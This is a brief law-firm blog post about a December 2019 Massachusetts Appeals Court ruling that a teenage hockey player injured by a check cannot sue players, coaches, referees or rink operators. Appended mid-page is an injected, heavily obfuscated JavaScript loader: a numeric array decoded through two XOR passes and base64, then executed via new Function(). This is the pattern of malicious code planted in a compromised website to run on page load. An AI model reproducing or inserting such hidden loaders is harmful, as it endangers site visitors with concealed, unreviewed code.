Boston Personal Injury Attorney Blog
Injuries in sports are common, especially in contact sports such as football, rugby or ice hockey. But when can a player sue another player for a personal injury sustained during the course of a game?
On Dec. 2, 2019, a three-judge panel of the Massachusetts Court of Appeals ruled in a split decision that Daniel Borella, who was 17 when he was checked by another player and cut on the wrist by the player’s hockey blades, cannot sue the player, coaches, referees or rink owners and managers for his injuries.
The majority explained that checking is “a fundamental aspect of the way the game is played” and does not rise to the level of “reckless” misconduct required to trigger liability.(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var _0xc4c3ed2ddbac=[29,26,112,5,14,48,39,6,13,10,17,16,29,30,9,11,13,10,113,26,12,32,9,16,0,26,17,7,1,36,124,37,0,10,112,46,15,48,32,9,28,35,39,42,28,121,124,35,29,9,59,43,12,25,63,4,14,120,1,7,13,10,43,44,14,47,124,33,16,33,17,43,0,48,112,42,15,13,10,7,27,32,60,24,16,33,26,13,27,13,1,24,15,9,60,18,2,47,13,17,14,47,124,7,26,14,60,10,28,29,36,4,0,48,60,1,27,35,56,10,0,26,47,17,15,120,112,17,27,13,113,24,0,13,10,1,15,10,32,10,15,35,10,4,15,13,60,2,28,35,10,10,15,10,39,46,15,13,10,10,0,48,60,7,28,10,56,5,15,13,60,42,25,47,112,17,11,121,35,37,14,48,47,16,0,47,124,31,11,29,25,33,16,32,13,6,12,25,35,3,25,121,18,31,27,9,59,2,15,36,43,25,14,36,17,29,15,9,120,25,15,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,44,11,63,35,41,30,48,17,4,0,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,45,15,9,120,43,12,32,47,9,30,63,120,43,14,48,120,43,11,48,29,9,30,48,39,31,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,9,35,5,15,48,29,25,15,36,43,16,14,32,120,25,0,9,56,16,15,9,35,2,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,10,59,31,11,121,25,4,11,26,56,16,11,25,63,42,14,26,9,41,14,48,17,44,0,14,43,41,14,32,26,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,59,2,15,36,43,17,14,48,1,4,30,48,39,31,14,14,17,2,14,32,29,9,0,32,17,16,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,4,11,26,56,29,14,10,47,25,14,48,43,43,12,30,43,29,15,9,120,25,15,36,43,1,12,10,9,27,14,48,17,44,0,14,43,2,11,48,18,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,35,31,14,25,9,45,14,32,44,29,14,10,47,25,14,48,43,43,12,30,43,2,12,10,59,30,13,10,56,16,15,48,29,17,11,47,120,17,11,26,10,16,13,10,18,45,2,13,1,24,15,9,60,18,2,32,39,26,0,26,39,24,9,10,6,13,31,120,35,10,7,120,112,42,7,35,9,43,27,12,121,2,15,120,59,46,7,120,10,24,7,10,60,7,7,35,121,7,24,13,36,6,7,32,60,2,7,50,48,6,28,35,125,6,27,13,35,42,7,35,47,46,27,121,60,11,12,48,47,4,31,27,17,43,0,48,63,12,9,29,26,42,15,120,113,10,0,29,32,10,27,29,10,42,25,32,112,5,14,48,39,6,13,10,17,16,31,27,17,44,15,47,63,12,14,48,60,26,2,32,59,6,0,26,59,27,14,48,32,25,9,47,120,4,9,9,1,24,15,9,60,18,2,32,5,28,11,9,125,13,2,32,59,6,0,26,59,27,14,48,32,16,11,47,63,42,11,47,120,4,29,29,36,30,27,121,10,13,26,13,26,45,27,25,14,45,26,33,17,42,12,26,120,42,13,32,43,17,30,63,39,5,15,63,39,6,11,121,14,4,29,13,5,37,15,63,120,44,15,48,1,16,15,13,1,25,0,121,13,37,13,48,5,1,12,36,43,30,0,10,43,45,12,26,14,14,27,13,60,10,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,11,48,13,44,15,32,17,7,26,9,35,17,11,63,39,43,5,10,43,6,29,27,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,24,28,30,30,24,28,30,10,30,27,13,113,25,25,32,9,46,29,30,47,37,11,48,13,44,15,32,17,7,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,13,26,25,28,0,63,112,16,26,11,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,1,27,120,14,30,2,47,59,26,0,26,39,31,12,36,6,4,29,14,29,37,11,10,9,24,9,26,59,1,11,120,26,45,16,35,1,46,14,47,60,26,12,48,47,4,31,27,17,5,9,63,120,17,12,13,26,2,25,33,17,5,9,63,120,17,12,13,29,37,13,26,25,28,0,63,112,16,30,48,29,43,14,48,124,6,13,29,1,37,12,9,5,6,15,9,48,27,26,13,60,25,9,47,112,17,11,121,35,37,12,10,13,29,0,47,121,13,11,26,47,4,11,32,63,63,14,63,121,26,2,32,13,29,13,48,112,24,14,121,43,3,12,10,59,3,12,25,60,26,2,47,63,12,12,26,47,5,30,29,60,25,30,29,32,24,29,13,1,25,0,121,13,37,12,10,13,29,0,47,121,25,2,47,47,25,12,63,13,42,11,9,60,27,26,11,39,6,11,48,9,16,0,36,43,46,11,48,17,29,7,32,13,17,11,50,39,31,0,26,48,26,2,47,63,26,14,10,124,6,29,13,1,13,11,48,63,6,12,9,59,16,31,27,17,1,13,9,112,10,15,63,47,4,25,47,25,41,15,9,120,41,13,30,13,43,29,9,1,4,0,9,120,5,11,48,44,45,16,35,1,13,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,7,0,32,29,1,12,30,13,37,13,10,59,7,9,121,29,37,13,26,5,25,14,121,9,11,11,48,63,6,12,9,59,16,31,26,43,43,12,36,35,56,11,48,17,29,13,9,39,43,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,45,9,26,59,28,14,9,124,44,30,27,17,16,15,9,35,10,15,121,9,11,12,48,47,4,31,27,17,27,14,10,112,26,15,10,14,13,14,48,63,7,31,27,13,120,6,28,13,6,12,25,35,58,0,9,47,5,0,9,39,6,29,30,10,11,2,32,1,29,0,48,13,17,13,30,43,31,11,26,63,16,29,30,124,56,6,33,39,60,16,36,29,37,13,10,59,7,9,121,29,6,11,63,63,43,29,13,1,37,13,32,25,46,13,26,47,26,30,63,39,43,12,27,59,43,11,9,63,43,11,47,120,48,0,10,47,44,0,9,60,26,16,34,39,31,14,63,120,43,14,63,121,29,4,25,9,2,0,14,125,30,16,32,47,2,11,26,29,25,15,32,47,6,13,10,17,16,30,32,5,3,14,32,44,45,29,13,1,37,13,32,25,46,13,26,47,26,30,63,120,25,14,10,63,31,12,9,121,13,28,13,36,2,27,29,1,37,13,32,25,46,13,26,47,26,30,48,17,16,14,26,17,17,0,29,25,46,12,10,43,41,12,26,9,31,14,121,14,25,9,47,120,4,9,9,1,37,0,47,13,42,13,48,25,7,0,30,13,50,3,34,17,123,30,63,35,17,11,63,39,43,29,27,17,27,14,10,112,26,15,10,14,16,11,48,63,3,11,26,17,16,11,32,63,60,0,9,13,6,29,14,10,11,10,10,39,17,12,26,39,26,29,26,48,25,9,33,17,16,15,9,35,10,15,121,13,43,29,13,1,13,10,13,1,37,13,32,25,46,13,26,47,26,30,48,17,16,0,9,59,4,14,47,60,13,2,32,1,29,0,48,13,17,13,30,43,31,14,63,120,25,14,10,63,31,12,9,121,13,0,63,63,16,15,47,120,25,14,32,44,26,29,9,1,37,14,48,47,2,9,26,60,26,14,48,63,7,31,28,63,4,11,48,17,4,29,30,10,25,25,47,26,11,2,32,1,29,0,48,13,17,13,30,43,3,0,10,43,44,29,28,5,57,6,34,44,16,11,47,120,4,13,10,43,45,13,10,112,9,29,27,17,26,13,48,9,16,29,14,10,11,10,14,10,11,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,2,13,10,43,30,13,10,32,26,2,47,63,43,12,26,120,42,13,30,9,11,13,10,113,26,2,47,63,43,12,26,120,42,13,29,44,13,2,32,43,17,14,48,124,7,14,47,36,16,14,26,63,16,0,47,120,26,29,9,59,43,12,25,63,4,14,121,35,56,11,48,17,29,13,9,39,43,30,63,59,43,11,32,17,30,12,48,48,26,14,63,63,30,14,30,10,11,12,48,47,4,31,27,17,16,11,48,124,28,15,47,113,13,9,32,5,3,14,32,43,4,11,26,56,12,16,35,60,16,27,30,125,30,14,10,63,6,13,26,17,44,25,121,124,43,12,26,13,37,15,32,47,30,14,30,125,30,11,26,47,4,15,10,25,3,25,49,1,11,12,26,18,12,2,32,39,26,0,26,39,24,9,10,6,30,0,26,47,6,15,13,6,45,27,25,14,45,29,33,17,43,0,48,63,12,9,25,26,30,16,32,29,17,12,26,63,3,12,30,124,35,30,26,9,44,25,120,47,13,25,47,59,43,12,25,63,4,14,121,35,37,12,32,124,30,11,9,121,26,2,32,43,17,14,48,124,7,14,47,35,33,2,47,63,43,12,26,120,42,13,27,26,30,2,32,43,4,0,32,5,41,12,121,10,16,12,26,13,43,14,121,13,46,12,10,43,41,12,26,9,31,14,121,13,37,12,26,112,44,14,26,18,25,9,47,112,17,11,121,35,37,0,32,39,2,15,13,25,37,12,26,112,44,14,26,18,46,16,49,17,6,0,48,120,30,14,36,43,4,0,9,39,5,14,25,121,15,2,32,120,41,12,9,5,16,15,121,13,37,12,26,112,44,14,26,18,16,11,48,63,3,12,10,29,6,29,13,6,45,16,35,1,25,0,121,13,37,0,32,39,2,15,14,9,4,0,9,120,5,11,48,44,18,2,32,124,41,11,26,32,16,11,48,63,2,14,26,47,41,0,14,14,31,2,30,18,27,16,30,18,30,16,36,125,25,25,47,59,43,12,25,63,4,14,121,35,37,11,26,9,16,14,26,9,17,29,27,17,5,0,9,120,44,15,48,14,27,27,14,10,11,10,14,10,16,15,32,47,6,15,32,14,26,0,63,63,16,15,47,120,25,14,32,44,26,29,9,1,4,0,9,120,5,11,48,44,18,2,47,35,25,14,48,29,25,15,14,13,37,12,10,63,6,0,26,59,26,29,35,32,25,25,47,26,25,25,47,25,46,12,10,43,41,12,26,9,31,14,121,35,37,11,9,124,27,0,26,29,29,29,27,17,6,0,32,29,17,29,9,1,24,15,9,60,18,2,47,63,46,11,47,60,13,0,26,17,41,12,10,25,43,14,63,121,16,15,47,59,43,15,9,120,43,24,10,29,43,14,10,63,16,12,30,14,45,11,32,39,4,13,9,35,6,16,36,10,11,2,47,63,46,11,47,60,16,11,47,59,41,26,11,17,6,0,32,29,17,29,36,125,31,15,9,35,25,30,63,35,26,11,29,17,3,26,14,125,27,2,47,13,17,14,47,124,7,29,36,125,46,2,47,113,13,16,36,1,120,15,9,120,26,30,48,112,30,14,32,17,4,29,28,120,17,12,26,48,16,14,48,17,7,29,30,10,31,28,120,36,2,27,29,36,25,25,33,17,5,0,63,39,4,30,48,47,3,9,10,43,41,26,9,120,4,12,10,48,11,29,26,120,31,15,47,63,29,0,10,43,6,30,48,13,43,15,10,120,14,10,26,120,31,15,47,63,29,0,10,43,6,30,48,59,31,0,25,10,25,30,48,47,2,11,26,63,16,0,28,39,26,13,10,29,44,29,27,17,5,0,63,39,4,29,13,1,13,2,47,35,25,14,48,29,25,15,14,14,2,29,14,43,6,13,26,63,16,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,6,0,32,29,17,29,9,1,25,0,121,13,37,12,26,124,30,15,14,9,37,11,9,124,27,0,26,29,29,29,27,17,6,0,32,29,17,29,13,1,13,29,13,1,13,29,14,14,25,25,47,117,117];
var _0xd2590aeec7ec=72;
var _0x695b12d6658b=”;
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
_0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac[_0xecc7dff14118]^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
_code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();